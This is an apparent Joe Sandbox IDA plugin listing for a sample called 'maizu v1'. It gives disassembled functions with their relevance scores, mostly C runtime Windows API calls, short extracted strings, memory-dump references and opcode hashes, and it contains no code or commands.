Opcode ID: 992a645abcf1604108e087a74ee45cf603b2d3f80353029953f3e595930d6ed7
Instruction ID: 65e802c7622cc7036cdc26d4e78fc228fad497a5beaa76784f15614d662f9563
Opcode Fuzzy Hash: 992a645abcf1604108e087a74ee45cf603b2d3f80353029953f3e595930d6ed7
Instruction Fuzzy Hash: 2DD21571E082298BDB65DE28DD807EAB7F5EB44305F1445EBD84DE7240EB78AE858F40

Function 00BDC566 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00BDC884,00000002,00000000,?,?,?,00BDC884,?,00000000), ref: 00BDC5FF
GetLocaleInfoW.KERNEL32(?,20001004,00BDC884,00000002,00000000,?,?,?,00BDC884,?,00000000), ref: 00BDC628
GetACP.KERNEL32(?,?,00BDC884,?,00000000), ref: 00BDC63D

Strings

OCP, xrefs: 00BDC5BA
ACP, xrefs: 00BDC584

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 9a008c7d10d82fe2dba9f6b9d41290a62b3dc0ba0dc7a64065399e293335435a
Instruction ID: e2f8c63be0fe04d440dc49b2902731a47b849ff7712942f0d01773772230b517
Opcode Fuzzy Hash: 9a008c7d10d82fe2dba9f6b9d41290a62b3dc0ba0dc7a64065399e293335435a
Instruction Fuzzy Hash: 2321D622604107AADB348F54D942B97FFEBEB60F64B5644A6E90AD7340F732EE41C350

Function 00BDC73B Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00BDC847
IsValidCodePage.KERNEL32(00000000), ref: 00BDC890
IsValidLocale.KERNEL32(?,00000001), ref: 00BDC89F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00BDC8E7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00BDC906

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: f2974785af4285e53312cbdbea1443da4b3a70c36a9f5b8b2853af5c718cd0cb
Instruction ID: c5a7eb297774d7343fda7d1da570e2c4d8ba0e9fcc078426a3d391257476a599
Opcode Fuzzy Hash: f2974785af4285e53312cbdbea1443da4b3a70c36a9f5b8b2853af5c718cd0cb
Instruction Fuzzy Hash: 79516E71900206ABEB10DFA5CC81EBABBF9FF14700F1444AAE515EB291FBB19D40DB60

Function 00BDBDD7 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

GetACP.KERNEL32(?,?,?,?,?,?,00BD1598,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00BDBE98
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00BD1598,?,?,?,00000055,?,-00000050,?,?), ref: 00BDBEC3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00BDC026

Strings

utf8, xrefs: 00BDBF95

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 723080ee6cf01cad1d6b3aab35ac04de9a81cdd726b48c92ef7fd813bf97c36f
Instruction ID: bd432ebc60c4c905b4fa87d1d772852eacf5822546551d31354549b8945c8132
Opcode Fuzzy Hash: 723080ee6cf01cad1d6b3aab35ac04de9a81cdd726b48c92ef7fd813bf97c36f
Instruction Fuzzy Hash: 2271B171600206EBD724AB35CC86EAAF7E8EF54700F1548ABF6059B381FB74E9409755

Function 00BED17D Relevance: 7.2, Strings: 5, Instructions: 909COMMON

Download Yara Rule

Strings

0, xrefs: 00BEDCB1
@, xrefs: 00BEE914
0, xrefs: 00BEDD60
0, xrefs: 00BEE3A8
i, xrefs: 00BEE806

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 0$0$0$@$i
API String ID: 0-3124195287
Opcode ID: 71f3d092406bf2b1da397f9251c19992cfeb9473183140990b6d77d2ed173c24
Instruction ID: fddfb3d6c3de19980cbc5de175a4d1729cc225819202972c95754e072b91ef58
Opcode Fuzzy Hash: 71f3d092406bf2b1da397f9251c19992cfeb9473183140990b6d77d2ed173c24
Instruction Fuzzy Hash: 3172C271A083918FD718CE29C49072ABBE1EFD9704F148AADE8E997391D774DC45CB82

Function 00BED2DD Relevance: 6.7, Strings: 5, Instructions: 453COMMON

Download Yara Rule

Strings

gfff, xrefs: 00BEE0F4
-, xrefs: 00BEE005
gfff, xrefs: 00BEE03B
0, xrefs: 00BED603
gfff, xrefs: 00BEE0A9

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: -$0$gfff$gfff$gfff
API String ID: 0-1217629319
Opcode ID: e70ea6af7df4099828697e47c503092b59018ffd614456e3a52484d2297035ff
Instruction ID: d836f002530d7f5972f35b7298996d72b6682c6d328e9ac9d241b137b6d6cbec
Opcode Fuzzy Hash: e70ea6af7df4099828697e47c503092b59018ffd614456e3a52484d2297035ff
Instruction Fuzzy Hash: 01F1B071A087918FD318CE29C49075ABBE2EFC9314F098A6DE8D5CB392D774D945CB82

Function 00BFB940 Relevance: 6.7, Strings: 5, Instructions: 409COMMON

Download Yara Rule

Strings

q-s, xrefs: 00BFBA3A
\W, xrefs: 00BFBAF4
vLyB, xrefs: 00BFBCE3, 00BFBCEB
JpzN, xrefs: 00BFBCAD
d`df, xrefs: 00BFB952

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: JpzN$\W$d`df$vLyB$q-s
API String ID: 0-2943124228
Opcode ID: c0123f9ddd81bde4ead67e13c59693835463b28b846828819b093025ea9eb232
Instruction ID: 2565f4fcaea9768ed3cae9ee197f355231518ce5b485314fe5416af724e59860
Opcode Fuzzy Hash: c0123f9ddd81bde4ead67e13c59693835463b28b846828819b093025ea9eb232
Instruction Fuzzy Hash: BBD1677450C3888BD311EF18D490A6EBBE5EB92744F280DACE6D18B362D735C949CB97

Function 00C0DF78 Relevance: 6.5, Strings: 5, Instructions: 258COMMON

Download Yara Rule

Strings

H~, xrefs: 00C0DFDD
k$i, xrefs: 00C0E261, 00C0E265
KC, xrefs: 00C0DFD5
-{4y, xrefs: 00C0E183, 00C0E18B
zC, xrefs: 00C0DFCD

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: k$i$-{4y$H~$KC$zC
API String ID: 0-1198185020
Opcode ID: cb060303c5a1a0c4baba74594868201dd970643a30ef342180b2144766bb590c
Instruction ID: 3b60047df8a99f92e25a0bd6982e39dfe039779d5302ce59bd2439233fb16489
Opcode Fuzzy Hash: cb060303c5a1a0c4baba74594868201dd970643a30ef342180b2144766bb590c
Instruction Fuzzy Hash: 4C8188B05483509BD710EF18C891B2AB7F0EF96754F089D0CF4E58B292E379DA45CBA6

Function 00BD39E2 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BD3A6F

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction ID: 6a9180e2b1096723bb4947bec321862d613ed05b0db092744f56ede7d3f12f18
Opcode Fuzzy Hash: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction Fuzzy Hash: 69B12832A042859FDB158F68C8817EEFFE5EF55750F1881EBE445AB342E2359E01CB62

Function 00BC7672 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00BC767E
IsDebuggerPresent.KERNEL32 ref: 00BC774A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BC7763
UnhandledExceptionFilter.KERNEL32(?), ref: 00BC776D

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 4e611eb5612fb1f29f24fb4561dc0c47bd0960505fcba8fc81e19ed742e0b9d2
Instruction ID: b18f6aba7a5da1b5d5ab9ff6e5bbce6fd2de2d6fc6ed1c0c75f01ff47d16afe6
Opcode Fuzzy Hash: 4e611eb5612fb1f29f24fb4561dc0c47bd0960505fcba8fc81e19ed742e0b9d2
Instruction Fuzzy Hash: A9311475D452189BDB21DFA5D989BCDBBF8AF08300F1041EAE50CAB291EB719A84CF44

Function 00C34290 Relevance: 5.3, Strings: 4, Instructions: 348COMMON

Download Yara Rule

Strings

kD, xrefs: 00C34511
P, xrefs: 00C34436
oD, xrefs: 00C34524
, xrefs: 00C345C6, 00C3471F, 00C346F3, 00C345A3, 00C345AB, 00C346FB

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: P$kD$oD$
API String ID: 0-1115615460
Opcode ID: ed1cfad7e5831a2e1b48057f332d66576bd6f5d84c9fae2d0d95bb32115eec55
Instruction ID: ec48af540ea1b175d72688e8789b971a44a19da4c81304bc51c8d533fc2fe76c
Opcode Fuzzy Hash: ed1cfad7e5831a2e1b48057f332d66576bd6f5d84c9fae2d0d95bb32115eec55
Instruction Fuzzy Hash: 40C1F0329183618FC719CE28D88072EB7E1EBC2714F158A2CE8A59B395D775ED05CBC2

Function 00C0EAEA Relevance: 5.2, Strings: 4, Instructions: 209COMMON

Download Yara Rule

Strings

v}, xrefs: 00C0EB3F
I}, xrefs: 00C0ED31
~, xrefs: 00C0EB4D
I}, xrefs: 00C0EB46

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: I}$I}$v}$~
API String ID: 0-1535326304
Opcode ID: 18d941ddf0c7df2a2020a84959c7baed37afdcccf923d2de2c574be5e132557b
Instruction ID: cc16b74a125220064cfd0992cf4bbfc9b1c5a55ba42f5de38b016285007de1b6
Opcode Fuzzy Hash: 18d941ddf0c7df2a2020a84959c7baed37afdcccf923d2de2c574be5e132557b
Instruction Fuzzy Hash: E26171B09413668BDB10CF94CC91BBEBBB1FF56340F184988E8916F392D3759981CBA5

Function 00C3264A Relevance: 5.1, Strings: 4, Instructions: 142COMMON

Download Yara Rule

Strings

, xrefs: 00C32866, 00C32843, 00C3284B
@, xrefs: 00C327FD
Q_, xrefs: 00C3265A
US, xrefs: 00C32652

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: @$Q_$US$
API String ID: 0-1387636662
Opcode ID: b84bd2cad6fc919d03a3147de07ecc8b5f863db2d204b0a85fdfcd1955775bcd
Instruction ID: 3a4fd5ee57692c1df58fd6d60bd961c1d13a31de8cef96c32492fd1cea2d4589
Opcode Fuzzy Hash: b84bd2cad6fc919d03a3147de07ecc8b5f863db2d204b0a85fdfcd1955775bcd
Instruction Fuzzy Hash: E54177B54283419BEB14DF14C451A2BBBF0FF86748F54481CF4C5AB2A1E339DA45CB5A

Function 00BDC1EA Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BDC23E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BDC288
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BDC34E

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: ace4052cd3660fda91378d95664f301673aa2d05519cf94db516806956f7c6eb
Instruction ID: 4dea7e6408ef3f9af999f3516011d2f6473760db5c88de6fac5afb9b3c5759ef
Opcode Fuzzy Hash: ace4052cd3660fda91378d95664f301673aa2d05519cf94db516806956f7c6eb
Instruction Fuzzy Hash: FC616B715102079BDB289F28C992BBAFBE8EF04310F1481BAE915C6385FB34D995DF54

Function 00BCD7C3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00BCD8BB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00BCD8C5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00BCD8D2

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d13804bff609dfe07ca29e07ce6c814a4ad7a4d0523c7af27b5c516d5b1fc389
Instruction ID: c0df38c37fa557cbca34db500467c7d368ad680e09760bf7fefde8c20e6c4d0d
Opcode Fuzzy Hash: d13804bff609dfe07ca29e07ce6c814a4ad7a4d0523c7af27b5c516d5b1fc389
Instruction Fuzzy Hash: C531C474941218ABCB21DF65DD89B8DBBF8BF08310F5041EAE41CA7291EB709F858F44

Function 00BF4620 Relevance: 4.1, Strings: 3, Instructions: 379COMMON

Download Yara Rule

Strings

), xrefs: 00BF46A7
), xrefs: 00BF469D
IEND, xrefs: 00BF4A6D

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: e3af02e7cd14337d65bc99edb6bb6da9af78cbb27c27db32bd75912408caa374
Instruction ID: dd04b4aa37669003e1607b3c0eda879847c66597c35375af1f8d23be9dfa5f04
Opcode Fuzzy Hash: e3af02e7cd14337d65bc99edb6bb6da9af78cbb27c27db32bd75912408caa374
Instruction Fuzzy Hash: 55E1D0B1A08705AFD310CF28C88172BBBE0FB85314F14856DEA9997382D775E919CBD6

Function 00C326F6 Relevance: 3.9, Strings: 3, Instructions: 122COMMON

Download Yara Rule

Strings

, xrefs: 00C32866, 00C32843, 00C3284B
@, xrefs: 00C327FD
]oXm, xrefs: 00C3271E

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: @$]oXm$
API String ID: 0-4013158905
Opcode ID: 08b563d773aac84b36ad4809571cbbdf506584426bf330bc6785f7f8a4602933
Instruction ID: 96bc6e4f01e99259ae85c9d7cae983ce9f1c34af478afbe7258fb39ffefea2a6
Opcode Fuzzy Hash: 08b563d773aac84b36ad4809571cbbdf506584426bf330bc6785f7f8a4602933
Instruction Fuzzy Hash: DD4144754283818BDB14DF15C49062BBBF0FF8A348F54881CF8C99B261D339CA85CB5A

Function 00C1B22C Relevance: 3.8, Strings: 3, Instructions: 38COMMON

Download Yara Rule

Strings

Q^\X, xrefs: 00C1B242
UNOc, xrefs: 00C1B23A
KFCI, xrefs: 00C1B25A

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: KFCI$Q^\X$UNOc
API String ID: 0-1593643587
Opcode ID: c1021c8647da17318554d3aa5cff67c87dd53425995099f84c7b189f47ca34d0
Instruction ID: 5198f88731b19685c9d78762944b00e1cd418a8293a4a987a0e7fd55643ec70c
Opcode Fuzzy Hash: c1021c8647da17318554d3aa5cff67c87dd53425995099f84c7b189f47ca34d0
